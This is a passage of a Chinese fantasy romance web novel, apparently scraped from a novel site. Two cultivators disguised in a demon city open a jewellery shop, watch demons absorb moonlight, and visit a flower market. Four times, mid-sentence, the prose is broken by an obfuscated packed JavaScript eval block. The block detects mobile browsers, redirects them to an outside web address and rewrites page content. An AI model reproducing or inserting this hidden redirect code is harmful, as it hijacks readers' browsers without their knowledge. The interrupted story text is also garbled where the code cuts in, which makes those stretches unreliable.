并且女子也不是因为他的长相而看过来,其实她关注的是他胸前挂着的那条明晃晃的项链。 月幽城一分为三,分别由三个诸侯进行掌管,三诸侯共同效力与一魔主。 西宁侯掌管了月幽城最富庶的一片地域,此处的繁华地段也在他的辖区之内。 而作为西宁侯宠爱的女儿,她尤为喜欢漂亮的衣服与闪亮的首饰。城里面各式各样的店铺,没事的时候都逛遍了。 家族宠爱她,魔晶她多的是,一掷千金不在话下。 今日她逛了城内好几家非常有名的店铺,衣服买了不少,但合她眼缘的漂亮的首饰不多。那些款式更新换代得太慢了,老一些的款式她早就戴腻了。 正当她兴致缺缺地打道回府,却意外被下方一个贫民身上的首饰吸引了注意力。 那是一条格外精美绝伦的项链,粗略一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986744|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看好似名家所作,而且不是她熟知的那几位炼器师,而是一个她从未见过的,更有灵气与才气的新人。 可以看出其风格老练且游刃有余,自成一派,别致的款式让人眼前一亮,难以忘怀。 因此,她好奇之余便勒令停轿,好当面看个究竟。 没想到这个平民所戴的首饰不仅特色鲜明,还是成套搭配的。 哪怕眼前这个男人明显长得不怎么样,但因为这套搭配,平白提升了些美色,竟也让她觉得稍微入眼了几分。 她侧过身子看向殷夏:“你戴的这套首饰我买了。多少魔晶,你开个价。” 不过是给心上人的衣服配了一套好看的首饰,到魔域地界之后,竟会被人当街看上。 被殷夏挡在身后的沈卿缘也没料到会出现这茬。 不过她一向长袖善舞,倒也不会平白放过一个挣魔晶的好机会。 于是沈卿缘从殷夏身后上前一步道:“大小姐金尊玉贵,我们自然不能将旧物献上。不瞒您说,我夫君所戴均是我随手所作,若您喜欢,我这里还有套更为特别的首饰,不知可否愿意一观。” 坐在高高轿子上魔族女子将纱幔放下,身旁立刻有侍女会意地上前,将纱幔自中间向两边拉开并固定好,方便她下轿。 她缓步从轿中走出,姿态妖娆。 虽颇有兴趣的看了他们两眼,柔若无骨的指尖已摸上了上品法器。 这位魔族大小姐语气含笑,神色却淡淡地看向沈卿缘:“是吗,那就拿出来给我看看喽,若是能令我满意,自然重重有赏。” 这个动作自然逃不了沈卿缘的眼睛。 她心下了然,这是位集万千宠爱于一身养出来的娇纵明珠。她手指都已经摸上法器了,杀与不杀都在她一念之间,这话说得似是温和,但言外之意却满是威胁。 若这位大小姐见后不满意,岂不是就要对他们不客气? 来到月幽城后被当成平民,还收到这样直白的威胁,是沈卿缘很久没有体验的经历了,一度让她觉得有些新奇。 就好像小猫向她伸出了满含威胁的爪子,她当然不会跟这种刁蛮的小孩子一般见识,更没必要当街动手。 既然大小姐这么说了,她点点头,随后在袖中摸索了片刻。 在众人讶然的眼光中,沈卿缘慢吞吞地从袖中掏出了一只木盒,打开。 然后又是一只。 在她掏出第三只的时候,大小姐眼中的轻慢与威胁之意已经消失,只剩下掩饰不住的欣喜与激动。 “这样的首饰你还有多少?” 沈卿缘道:“还有几个吧。” 最终,在大小姐的授意下,五个貌美的侍女的手中齐齐端着宝光四射的木盒,每一只盒中都是精雕细琢,华美至极的成套首饰。 而且一件比一件漂亮。 沈卿缘趁热打铁道:“其实我们刚来幽月城不久,想要在此处开一间首饰铺子,只是久久未寻得合适的房子。” 方才还骄横无比的大小姐此时非常好说话。 她水灵灵的脸蛋扬起,赞叹道:“原来你才是做这些首饰的炼器师。” 沈卿缘默默点头。 大小姐暗中将指尖从上品法器上移开,又扔来一只储物袋。 沈卿缘掂量了下,里面的魔晶可以买下一间最好地段的商铺了,还绰绰有余些。 确实担得上出手阔绰。 心情很好的西宁侯大小姐笑眯眯道:“这五件首饰我全买了。你这样的手艺,想找间铺子有什么难的?随我来吧。” 38. 第 38 章 他们身处的繁华街道正是这位大小姐名下的产业。 因这位大小姐向来喜爱漂亮的衣服和首饰,西宁侯对女儿宠爱有加之余,大手一挥,将这片区域的众多房产与土地都划分给了她。 大小姐经常以巡视之名前往各家店铺。 除了正正经经地查看经营情况,收取相应的租金外,花掉巨额的魔晶也是她的爱好之一。在这里讨生活的各家店铺也不敢跟大小姐狮子大开口,能赚些薄利就行。 但大小姐将收租和花钱分得很清楚,每一次买完东西后店家都能好好赚上一笔,也让各个店家分外期盼大小姐的光临。 不过今日倒是比较特别。 虽然各家各户还在正常经营,但听闻向来阴晴不定的大小姐此次带着大批随从与侍女浩浩荡荡地前来,只为给一个素不相识的旁人选一间最好的店铺。 太过离奇。 当时周围很多人都在一旁看着。 因此大小姐和沈卿缘一行还未抵达至临街的闲置商铺,小道消息就已经爆炸式地传开了。大家都想瞻仰一下究竟何人能将大小姐哄得如此开心。 等整支队伍缓缓抵达时,在场的各人却发现自己的认知有些问题。 那个传奇人物并不是他们以为的俊逸潇洒男子。 与大小姐并肩而行的那位,分明是位肤白貌美、一身黑裙的女子。 * 沈卿缘也没想到纡尊降贵的大小姐会特地随她一并过来。 不过有她在,选铺子会更方便透明一些,而且会让部分人心生忌惮,免得人生地不熟,再遇上些魔修巧立名目上门找些麻烦。 如此前来,派头十足,至少能换得一段时间的清静。 因此她并未拒绝。 环视着周围的商铺,大小姐从轿中走下,轻启红唇道:“先前那条街的铺子已经全都租出去了,但这条街上还有不少空着的,你可以任意选择一间开店。” 在她看来,这段街道分明是一段尚未开拓的地段,零星开了三三两两的店面。更多的店铺闲置在旁,毫无用处,连收租都指望不上。 今日虽然有不少人蜂拥而至,但来的都是些闻风而动看热闹的,并非真心打算买些东西。 以她前世的经验来看,这位大小姐是个精明人物,不会平白做亏本的买卖。 她分明是打着给这地方引流的主意,今天先搞一波舆论,引一波流量,之后时不时再来几次,再引一波关注。 这位西宁侯大小姐自然有自己的思量。 听到眼前的女子声称自己是炼器师,并且想要在这里开铺子,大小姐立刻想到了这块温吞不成气候的地方。 这位炼器师所炼出的首饰不但精致漂亮,风格也很突出,再加上自己的造势,若能在开业后成功吸引到第一波愿意来买的人之后,还怕没有第二波吗? 再往下,这块地不断地有商铺入驻后,就能被盘活了。到时候周遭空着的铺子不但能全都租出去,还能变相提价。 租金也水涨船高,自己就能坐收渔利。 沈卿缘也想到了这层。 她暗暗思忖道,这大小姐打得一手好算盘,分明是个头脑清明且杀伐果断的人,加上相貌也是一等一的好,难怪那么讨西宁侯的喜欢。 不过只要钱给到位,她并不反感和聪明人做生意,事情会简单很多。 于是沈卿缘指着位置最好且占地最大的一间铺子,直接狮子开口道:“我要这间。” 大小姐一手支着下巴:“你倒是会选。” 沈卿缘也不谦虚:“既然要将店铺开好,大小姐又给了我自由选择的权利,那我肯定要选最好的一间,才不辜负大小姐的期望。” 大小姐点点头。 对方显然猜到了她的用意,不过无妨,她自然会让她满意。 “既然定下了,接下来一年的租金全免。你修整一番后便可以择个吉日开店,开店当天,我自会前来送上贺礼。” 话音刚落,旁边的侍女便从木匣中小心取出一张书契,恭敬地上前双手递给沈卿缘。 沈卿缘挑眉,连免租一年的书契都给了,接下来肯定得提出些条件。 果不其然,大小姐说道:“但并不是白给你的。首先,在这一年里,你需要卡着每月上中下旬的最后一天各出一件新品,也就是说,每月共三件新品。” 沈卿缘笑道:“新开的店,肯定得多出些新奇的首饰,于我而言并非难事。” 她出来一趟基本将仙市库存掏空了,手里各种类型的首饰珠钗数不胜数,宽裕得很。 “另外,以后上新的每件新品都要给我留一件,我会让贴身侍女取走。” “多亏大小姐的关照,今后的新品首饰我会亲自带人送往您的府上,无需再差人多跑一趟。” 送上门的买卖,又是富得流油又分外稳定的大主顾,没有往外推的道理。 大小姐唇角笑意更盛:“你倒是活络得很。” 盛大的队伍来时浩浩荡荡,走的时候也无比气派。 沈卿缘望着逐渐远去的大小姐,又看了看手中多出的一张书契和一把钥匙,眸光闪烁间,对此次幽月城之行更有把握了些。 她将钥匙对准大门上的锁孔,“咔哒”一生,店铺的铜锁应声而开。 沈卿缘牵着殷夏一同进入。 金色的夕阳余晖下,灰尘团团飞舞于空中。 两人独处一室,四周空旷无人,安静得连呼吸声都清晰可闻。 沈卿缘掐诀将周遭都清洁了一遍,随手拎了张凳子坐下。 她发觉殷夏的情绪一直不算高昂,于是将他拉到身前,双手抱住他的腰,埋头在他身上蹭了蹭。 “说说看,怎么心情有些低落?” 沈卿缘温温柔柔地问他,殷夏也不好意思继续一言不发。 他蹲下看着沈卿缘的眼睛:“是不是因为我,才惹了这么大的麻烦。” 沈卿缘轻笑:“怎么会,这反而是我们进一步在月幽城查探店据点的跳板。” 以后茉茉给她寄文书都会方便得多。 她晃了晃手中的储物袋,示意殷夏将神识探入瞧瞧。 殷夏照做。 储物袋内一片无边无际的幽紫光芒,让人看花了眼睛。 殷夏脸上浮现一丝笑意,沈卿缘原来是想名正言顺地赚上一大笔魔晶。 倒是省去了他们无魔晶可用的困境。 沈卿缘起身道:“今日不早了,就不忙活了,等到明日再买些现成的柜子桌椅,将此处装饰一番。” 殷夏点头:“那不如出门看看幽月城里有没有什么特色美食。” 沈卿缘欣然同意。 * 他们没想到的是,幽月城中的夜晚少有人活动,家家门户紧闭。 只有弯月遥遥地挂在夜空,一片凄清。 沈卿缘的神识往周围查探了一圈,发现无数魔修正聚集在一座高高悬崖顶上,一眼望去密密匝匝的人头,乌泱泱的一片。 殷夏随后也看到了这一幕。 两人有些好奇,一致决定去那处悬崖看看。 到达悬崖上后,才发现此处非常空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006767|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旷且平整。并非天然形成,而是以魔力削平了一座山头,才能够形成如此平坦而宽敞的断层。 这群魔修大晚上不娱乐放松一下,爬到高高的山顶上做什么? 不过这种事情不方便随意打探,容易暴露他们不是真正的魔修。 于是她也挑了个位置,有样学样地打坐。 殷夏并未多问,也陪在她身边。 一直到月上中天,突然月华大盛。皎洁的月光宛如融化的浆液,自天边流下并覆盖在所有的魔修身上。 沈卿缘不动声色地移到了所有魔修的身后。 那些魔修们都专注地吸收着身上的皎洁月华,并未注意到队伍中混入了一名人族修士。 沈卿缘传音给殷夏:“魔族吸收的那些月光能够提升他们的修为。” 殷夏的身上也落下了一层月光,白茫茫的一片,并不能被吸收。时间一长就铺了厚厚的一层,反而像冬日的皑皑落雪。 他试探地伸手,竟然真的摸到了有些像盐粒的白色晶体,捻在指尖并不会立刻化开,反而顺着衣物滑落至身下。 殷夏顺势抖了抖肩膀。 他身上的月华全都被抖落下来,在身前积了一捧好似银色雪花的晶体。 殷夏的表情有些诧异,又有些惊奇。 左右没有魔修注意到他,于是他悄悄摸出了个瓷瓶,将月华一滴不剩地装在了瓶子里。 沈卿缘若有所思。 渡劫那日,因果相连的另一读正处月幽城之西,所以她来到月幽城后第一时间就到了此处,也就是西宁侯管辖的领地。 此地叫做月幽城。 魔族在夜晚对月修炼。 可见月亮在他们心中既是信仰,也是力量之源。 这让她想起了一则在修仙界流传很久的异闻。 听说很久之前月幽城有一名月主,她集魔修的信仰与念力于一身,是众望所归,心之所向。 当时的魔族空前地繁荣与团结。 但后来不知为何,这位修为已达到魔族顶峰的月主骤然陨落,随后不知所踪,连祭坛里都只有一座衣冠冢。 此后魔域分裂,三位侯爵内战了很长的时间。 终于在几十年前的时候达成休战协议并握手言和。 此后,以月幽城为代表的魔域才在和平的时代下渐渐恢复了些生气,直至发展到如今的景象。 …… 眼前,大批吸收完月华的魔修似餍足一般,陆陆续续地离开了此处。 又过了两三个小时,只剩下零星几个修为低微的魔修。 魔修的魔气为阴寒之气,魔气运转受阻后,逐渐会有霜雪漫上全身,生出冰花。 因此那些魔修无法承受得住月华,又无法像殷夏一般将其拂落,时间一久便忍不住颤抖起来,逐渐被阴寒的月华之霜凝固在原地。 好像几座冰雕的雪人。 看来无论是人修还是魔修,在修炼一途都充满了艰险。 “他们会不会有事?” 殷夏传音问沈卿缘。 “也许会,也许不会。” 修为不足又太过贪心的话,是会被灵力撑爆的。 她横了一眼殷夏:“这就是吸收了太多,却没能力炼化的后果。” 殷夏觉得有些脸疼,时至今日,他锤炼灵气时还需要沈卿缘帮忙照看。 “那我们也回去吧。” “没找到吃的呢,现在回去做什么?” “当然是回去锤炼灵气!” 看了魔修的修炼之后,今晚他也睡不着啦。 39. 第 39 章 饶是如此,在沈卿缘坚持不懈地寻找下,终于在夜半时分发现一家现做酒酿小圆子的铺子。 门口的招牌并不大,但亮着灯的店铺在一片寂静的夜晚里,会变得格外显眼。 进了店门后,看到店主一脸的容光焕发,而且还有些眼熟。 沈卿缘蓦然想起,这是方才在悬崖边上早早离开的其中一位。看他的模样,显然方才将月华吸收得极为顺利。 不多久,店主动作麻利地舀出一大勺酒酿小圆子。 分成两大碗后,踩着快要飘上云端的步伐端着碗走到他俩的面前。 “今天心情好,不收钱。” 偌大的一只碗里盛满了晶莹的酒酿,漂浮着米白色的小圆子,最表面一层还撒了些香气扑鼻的桂花。 糯米的香气混合着桂花的气味四散飘出,看起来与修仙界中的酒酿小圆子没什么不同。 沈卿缘用勺子挑出一点点,小心翼翼地尝了一小口,有些惊喜地抬头道:“好吃的。” 这可是她心心念念了一晚上的夜宵。 如今终于吃到嘴里了,不由得眯起眼睛,一脸满足的笑意。 殷夏也喝了一勺。 纵然他并不喜食甜食,也不得不承认这个店主的手艺不错。 之前沈卿缘握拳说自己一定要吃上宵夜的时候,殷夏还觉得是天方夜谭。 魔修大晚上的都刻苦修炼去了,哪还有人会在晚上开店。 直到沈卿缘悄悄告诉他,店主就是刚刚最早修炼完就跑掉的那群人之一,他深深地觉得魔修真是太勤奋了。 真是修炼赚钱两不误啊。 他们刚喝了两口,店内又接连来了三四个魔修。 他们吵吵嚷嚷地坐下,让掌柜的赶紧把酒酿小丸子端上来,临走前殷夏偷偷听了下他们在聊什么,这么热火朝天的。 没想到他们在聊修炼的瓶颈以及自我的反思,最后竟然在互相勉励。 原来魔修也有深夜吃宵夜的习惯,甚至连吃夜宵都不忘相互交流,互通有无。 魔修真是太勤奋了。 等到沈卿缘两人摸着圆滚滚的肚子回到店里的时候,天都要亮了。 殷夏一回去就在店里找了片空地。 他摸出一只蒲团后,便一脑袋扎进了修炼里,勤勤恳恳地打坐去了。 沈卿缘坐闲来无事,于是也摸出个蒲团在他的旁边。想了想,又拿出上次未画完的本子,翻到没画完的那一页,冥思苦想。 两人一个修炼一个冥想,倒也安安静静,非常和谐。 深夜一向是灵感迸发的绝佳时机,沈卿缘在做杯子的时候没什么新意,在挠了片刻的头发后,突然灵光一闪,想到了前世很受欢迎的香薰蜡烛。 这样竹筒就可以蜡烛芯的容器,再用不同的香型迎合不同喜好的顾客,刚好作为开业大酬宾的赠礼。 沈卿缘翻了翻自己的材料库。蜡块和蜡芯都有,可以先做一个样品试试效果。 她先将蜡油融化,又翻出了些晒干的玫瑰花瓣和玫瑰味的香料,一同放进高温的的蜡油中,最后将引线固定在竹筒底部并稍微修剪了一番。 最后在指尖亮起一丛明亮的火焰,将刚刚做好的竹筒蜡烛里里外外检查了一遍。 身侧的殷夏恰好运转完毕灵气,睁开了眼睛, 沈卿缘想了想,没有立刻将引线点燃,而是问旁边的殷夏:“这是刚刚做好的竹筒蜡烛,帮我看看还有什么地方需要修改的?” 察觉到他身上凝聚的过剩灵力,顺便一掌将他体表过多的灵力拍散。 晃动的烛光映照着沈卿缘大半的侧脸,显得神情分外地专注。 殷夏凑过来,流畅的侧脸也因她指尖的那丛火焰而染上了一片毛茸茸的金色。 明艳的五官在灯火下柔和又温暖。 沈卿缘顺势递出指尖的火焰,靠近灯芯。 烛光倏地点燃,灯芯上的火焰瞬间膨大,照亮了两人身处的一片黑暗。这样看来,夜晚营业也用不着堆放夜明珠了,直接点些蜡烛,加上位置合适的镜子,店内就会非常亮堂。 随后她甩了甩手,掐掉了手中的灵火。 殷夏仔细打量了下这款从未见过的竹筒蜡烛。 由于灯油事先已经加入了香料,燃烧的时候随着高温而飘出微甜的玫瑰香气,表面的花瓣也随着蜡油融化渐渐卷曲,香气浓郁到一定程度后反而稳定下来,就像呆在一丛开得茂盛的玫瑰花丛边上。 殷夏看了一会儿,然后鼓了鼓脸颊,一口气将火焰吹灭 蜡烛引线立刻飘出一阵悠长的青烟,仍带着丝玫瑰气味。 很有意思,殷夏想。 他偏过头问沈卿缘,并提出了自己的建议:“既然已经准备做不同香气的蜡烛了,设计的图样要不要改改?” “怎么改?” “除了几片简单的竹叶作为点缀,还可以根据每个竹筒蜡烛的气味配上各自的花样。” “我试试。” 她随手在纸上勾了个图样,随后再次征求殷夏的意见。 殷夏双眼一亮:“就是要这种随意简单的效果,我觉得很适合刻在竹子上。” 这样的话就不止四个图样了,得先确定到底出几款香型的蜡烛,她才好将图样匹配对应起来。 最开始的时候,她是做一套竹杯,作为仙市铺子的促销赠品。 但改成香薰蜡烛后,若是两边同步出现新品,会很容易引起各方的怀疑。 沈卿缘最终决定先顾魔域这边的新店开业,仙市那的新品研发先暂时让技术骨干顶着吧。 发那么多灵石给他们,也该为了仙市的GDP加班加点了。 玫瑰的香型和图样定了之后,她又分别定了桂花、梅花和茶花。 殷夏定了莲花香味。 还差一个,刚好凑成六只一套。 沈卿缘考虑让茉茉神不知鬼不觉地发点货过来,还得再研究一下魔域比较受欢迎的花朵是什么样的,也许做些与本地花卉匹配的香型会更受欢迎。 沈卿缘放下笔,斩钉截铁道:“我觉得有必要去一趟这里的花市看看。” 殷夏疑惑挠头:“不是说好要去买些开店所用的柜子桌椅吗?” “当然要买,不过等我们逛完花市再说呗。而且开业的话,鲜花也是必不可少的装饰品可以买些点缀的盆栽。” “也不是不行。” * 虽然两人初来乍到,对月幽城的一切还非常不熟悉,但是有了魔晶,一切就大不一样了。 殷夏立刻买了一张详细的地图,发现上面确实有一处花市,而且离他们的店铺并不远,就是有点偏。 想来也是,大片种花的地方,不可能会在黄金地段的。 来到花市后,沈卿缘和卖花的掌柜聊了几句。 掌柜说自己在城里是有店面的。 沈卿缘笑道,这不是巧了嘛,她在城中也开了家店铺。 一听都是做生意的,掌柜热情建议他们下次可以直接去店铺那边预定花卉,会更方便一点,等花卉送到之后能直接运到沈卿缘新开的店上。 沈卿缘当场定了一批专门用于摆在店里的鲜花盆栽。 掌柜看着爽快的大主顾,脸都笑成了一朵花儿。 沈卿缘表示买花好买,但是养花她并不擅长。 掌柜的听完后拍着胸脯承诺,会每月都派人去维护一到两次。 沈卿缘也觉得这个掌柜特别随和,之后以此为话题,聊了聊这段时间的鲜花行情。 提到自己的专业领域,掌柜更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022266|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滔滔不绝,顺势把他们带到相应的花田里仔细介绍了起来。 “我最喜欢的花是哪个?” 掌柜呵呵一笑,“眼前不就是吗?” 沈卿缘以为魔域穿着大胆随性,喜欢的花朵大概是偏向热烈的红色或者活力的橙色。 没想到竟然是白色。 萧瑟中带着些许单薄的颜色。 似乎是看出面前两位的不解,掌柜有些感慨,掌中托着一朵娇嫩的白色花苞,唇角带笑地陷入了回忆之中。 “曾经月主也非常喜欢花,尤其是面前的这些凝雪花。一旦她空出了时间出来,一定会亲自过来摘花取花,而不是差人将花直接带回幽月宫里。” 沈卿缘唇角微翘,眼里光芒一闪。 这趟出来值了,说不定能套出些有用的情报。 她拉了拉殷夏的袖子,示意他想点办法上去搭话。 自己则稍微走远了一些。 殷夏只得闭着眼现编一通:“我家夫人也很喜欢,只是我却一窍不通。” 掌柜拉他坐下,语重心长道:“那你就要多上点心。哄好了夫人,她的心情好了,对你笑了,你的生活才会好过得多。” 没想到掌柜还是个惧内的男人。 殷夏忍住笑意,双手抱拳,满眼的诚恳:“正是这样,只是我成婚时日较短,还望掌柜的不吝赐教。” 沈卿缘独自一人在花田中转悠了半天,身旁到处都是掌柜口中所说的凝雪花。 薄至透明的花瓣,玲珑的花苞,看起来温温柔柔貌不惊人的模样,等到花瓣完全打开后却足有碗口大小,花瓣层叠铺开,满眼的雪白,唯有花蕊是一点晶莹的鹅黄。 远看会觉得是无数漂浮在花田中的柔软白云。 走近了才会发现,鹅黄的花蕊莫名使整朵花变得可爱了一些,像是大家闺秀终于露出了些少女的俏皮一面。 沈卿缘捧起一朵花歪着头打量。 而这一幕,刚好被远处走神的殷夏完整地看到了眼里。 掌柜的絮絮叨叨跟他聊了半天。 他接了半天的话,连口都干了,终于搞清楚了所有想要知道的事情。 中途借口说要去陪陪夫人,向掌柜行了个礼,便往远处的花田走去。 重叠摇晃的花海里,沈卿缘大半个身子都没入了凝雪花中,只剩下玉雕似的手臂与脸庞看得分外真切。 她已经看到殷夏过来,于是放下手中的花朵,静静地站在原地等他。 殷夏走了两步,觉得太慢,随后开始奔跑起来。 他并未在双腿凝聚灵气,却感觉自己身轻如燕。 在快到达的前一刻,忽然涌上来一点切切实实的思念情绪,好像他们真的分离了很长一段时间,不由得张开了双臂,作出了一个拥抱的姿势。 殷夏很想抱住那个站在摇曳的白色花海中,令他看一眼就心折的女子。 沈卿缘并没有抗拒,很稳地接住了他。 花田另一边的掌柜摸了摸短短一小截胡子,笑得比花朵还要灿烂,念叨了句:“现在的年轻人真是充满了活力呢。” 沈卿缘则是摸了摸殷夏因奔跑而有些乱糟糟的长发,随意地亲了下他微红的脸颊。 “别急,慢慢说。” 没想到把殷夏的脸直接从微红变成了满脸通红。 他捂住脸,眼尾晶莹,磕磕巴巴道:“你,你不要随便亲我了。” 沈卿缘拾起他一缕发丝,绕在手中把玩:“哦,原来亲你还要征得你的同意啊~” “我才不,不是这个意思!” 沈卿缘又在另一边的脸颊上声音响亮地亲了一口。 过于害羞也是毛病,多来几次就好了。 “刚才的是惊喜,这个嘛,是给你辛苦半天的奖励。” 40. 第 40 章 沈卿缘因一时妄为,调戏太狠,被殷夏背对了半天。 只得陪着自己的小道侣在花田边上平复了好久的心情。 沈卿缘大力批判了自己的行为,并且表示下次还敢,气得殷夏不但跟她背对着,也不跟她说话了。 害她花了半天才哄好。 以前的乙游老公长相风流、温柔体贴,各种调戏自己和开车,现在的道侣虽然也长着一张精致勾人的脸,看起来过尽千帆,实质上却是个纯情小狗。 反而让沈卿缘变相地体会到了一点调戏道侣的快乐。 自己挖的坑,自己跳吧。 * 两人在花田边上随意找了块平整的地方坐下。 话题逐渐扯到很久之前的幽月城中,那名逐渐被人遗忘的月主。 现在还记得月主的人已经不多了,花市掌柜作为近距离接触过她的人,说的话有一定的可信度。 他对殷夏很严肃地说道:月主的陨落是一个谜。 最初,花市掌柜怎么也不愿相信月主真的会陨落。 痛心之余,他发誓一定要找出背后到底发生了什么。 但现在的他勉强对殷夏笑了一下,说实在可惜,自己修为不济,又只是个做生意的,所以到最后也没能帮上月主大人的忙。 他还说,从前的那段时间里,月主在魔族的心里的地位崇高,一直是不可撼动的。 魔族子民将她信仰了太久,久到已经深入了骨髓里。 她的突然陨落,让很多魔族子民难难以置信。 他们更愿意相信无所不能的月主大人是放弃了自己,不再愿意承担起昔日守护的子民们过于沉重的信仰与念力,是个懦弱的逃兵。 以前的她是众望所归,心之所向。 陨落后却只有一片骂声。 月主不知所踪后,有人曾预言魔界不日将会崩灭,月幽城也会化成一片废墟。 但这么多年了,魔界在混战结束后反而渐渐恢复了些魔气,并没有那些预言说得那么严重。 殷夏问他之后有无前去祭拜过。 花市掌柜点头。 他也曾带着月主最爱的凝雪花去过祭坛之处。 祭坛外有两名象征性的守卫在维持着秩序,内里却荒寂一片,杂草丛生,就好像一处被人遗忘的地方。 不但祭坛上全是灰尘,连月主墓碑上的名字都看不太清了。 沈卿缘听完后,对掌柜口中的祭坛还挺感兴趣的。 她暗暗将这件事情记在了心里。 殷夏前来找她后,花市掌柜早已离开此处忙其他的事情了,临走前留下一个小童听候他们的差遣。 沈卿缘向远处的小童招招手。 只见小童很快地跑来,一脸稚气,仰头看着她。 神情呆呆的,有点像自己做的傀儡娃娃小葵花,可惜在魔域,还不能把它放出来玩。 她说:“我想买一百株凝雪花,另外还有之前跟掌柜定好的花,是我店铺开业时候要用的,你们可要抓紧时间。” 小童笑得有些傻气,应了声好,飞快地在表格上填写了几行,然后拿给沈卿缘签字。 沈卿缘凝神一看,是花市的订货单。 付了一部分魔晶作为定金,约定了送花上门的时间,两人便留下小童离开了。 今天不止是出来买花的,接下来挑选柜子以及定制的事宜,她全都交给了殷夏去办。 殷夏刚准备走,就被她叫住。 沈卿缘将魔晶袋子扔给他,让他自己看着办,并告诉他自己得回店里一趟,买完后直接去店里汇合。 殷夏点头,一人寻着地图方向往前走去。 沈卿缘则去往另一个方向,店铺的方向。 她赶时间去做第一批新品。 * 有了店铺和名正言顺的掌柜身份,接下来在月幽城里一段时间的生活将会比较平稳,不会引起任何人的怀疑。 沈卿缘还抽空在门口贴好了招聘告示。 将所有员工招聘到位后,自己就可以每天带着殷夏都在店里最忙的时间段露个脸,剩下的时间里他们就可以神不知鬼不觉地离开,去探查异火与月幽城之间因果线的联系。 虽然月幽城别有一番异域风情,也颇有趣味。 可她毕竟不是真的来月幽城开店的,是来解决异火的后顾之忧的。 沈卿缘闪身至店铺二层,入眼一片空荡荡的屋子框架,其余什么都没有。 不过这样也好,她将储物空间中的一套炼器炉子全都放出来,挑了个最大的屋子并改造成了自己专用的炼器室。 在设下最高级别的符咒屏障后,她全身心投入到炼器中。 当时与西宁侯大小姐约定好每月分上中下旬分批出新品。 这个月刚过了几天,她想了想,撇开仙市的库存,在店铺开业前不如一次性将新品全部都做完。 省得事情一多,就忘到脑后了。 她炼器向来专心致志。一时入神,半晌才发现放在一旁的水镜亮了。 除了茉茉之外,没其他人会用这面水镜联系她。 沈卿缘隔空伸手,将水镜抓来后摁在半空,方便炼器的同时跟茉茉面对面讲话。 随后凌空一点。 茉茉高亢的声音立刻响彻二楼。幸好她提前设好了屏障,才没传到店铺外面。 沈卿缘正在给融化的手镯做着造型,手镯烧成了金红色,温度很高,因一时手抖,没处理好花样,修不起来会很麻烦。 她因而有些烦躁,拧着眉道:“声音小些,我耳朵都要被炸聋了。” 茉茉才不管,气呼呼道:“仙市除了城主府和周边,各个店铺都要被那些老鼠翻个底朝天了,你知道吗?” 沈卿缘一拍炉盖,睁大了眼睛:“他们哪来的胆子,仙市的客卿是吃干饭的吗?” 茉茉连忙摆手:“他们不敢公然挑衅仙市,总是在边缘试探。例如到店铺里面拿着悬赏令找人,变相驱赶顾客。” 沈卿缘更恼了,这是存心找她麻烦,让她做不了生意。 她知道他们的如意算盘。 无论殷夏与仙市有何关系,只要他们持续地骚扰下去,仙市总会看不过眼,而一旦下了场,出了手,他们就有由头进行更进一步的搜查了。 再顺便把仙市一起拖下水。 绝对不可能让他们称心遂意。 但继续容忍他们留在仙市里也不是办法,得想办法将触犯仙市禁令的罪名套到这些人的脑袋上。 寻个什么理由好呢? 沈卿缘寻思半晌,慢慢开口对茉茉道:“你还记得仙市有一条关于城内传送的禁令吗?” 茉茉仰头思考了几秒:“擅自在城内传送之人,视情节禁入仙市一个月至三个月,严重者终生禁入。你说的是这个?” 沈卿缘露出一个狡黠的笑容:“你化妆技术那么好,是派上用场的时候了,找个跟殷夏身形大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038175|130018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致相当的傀儡娃娃,包严实一点,给它捏个与殷夏差不多的脸。” 茉茉跟上了沈卿缘的思路,拍手道:“然后让小傀儡跑,他们追。” 沈卿缘非常大方地挥了挥手:“别客气,去我库存里找个跑得最快的,记着抹掉我的印章。这次一定要逼他们为了抓住‘殷夏’而使出传送符咒。只要他们用了这张符,就可以立刻让守卫将他们绑了扔出仙市了。” 茉茉夸赞道:“还是你有办法!” 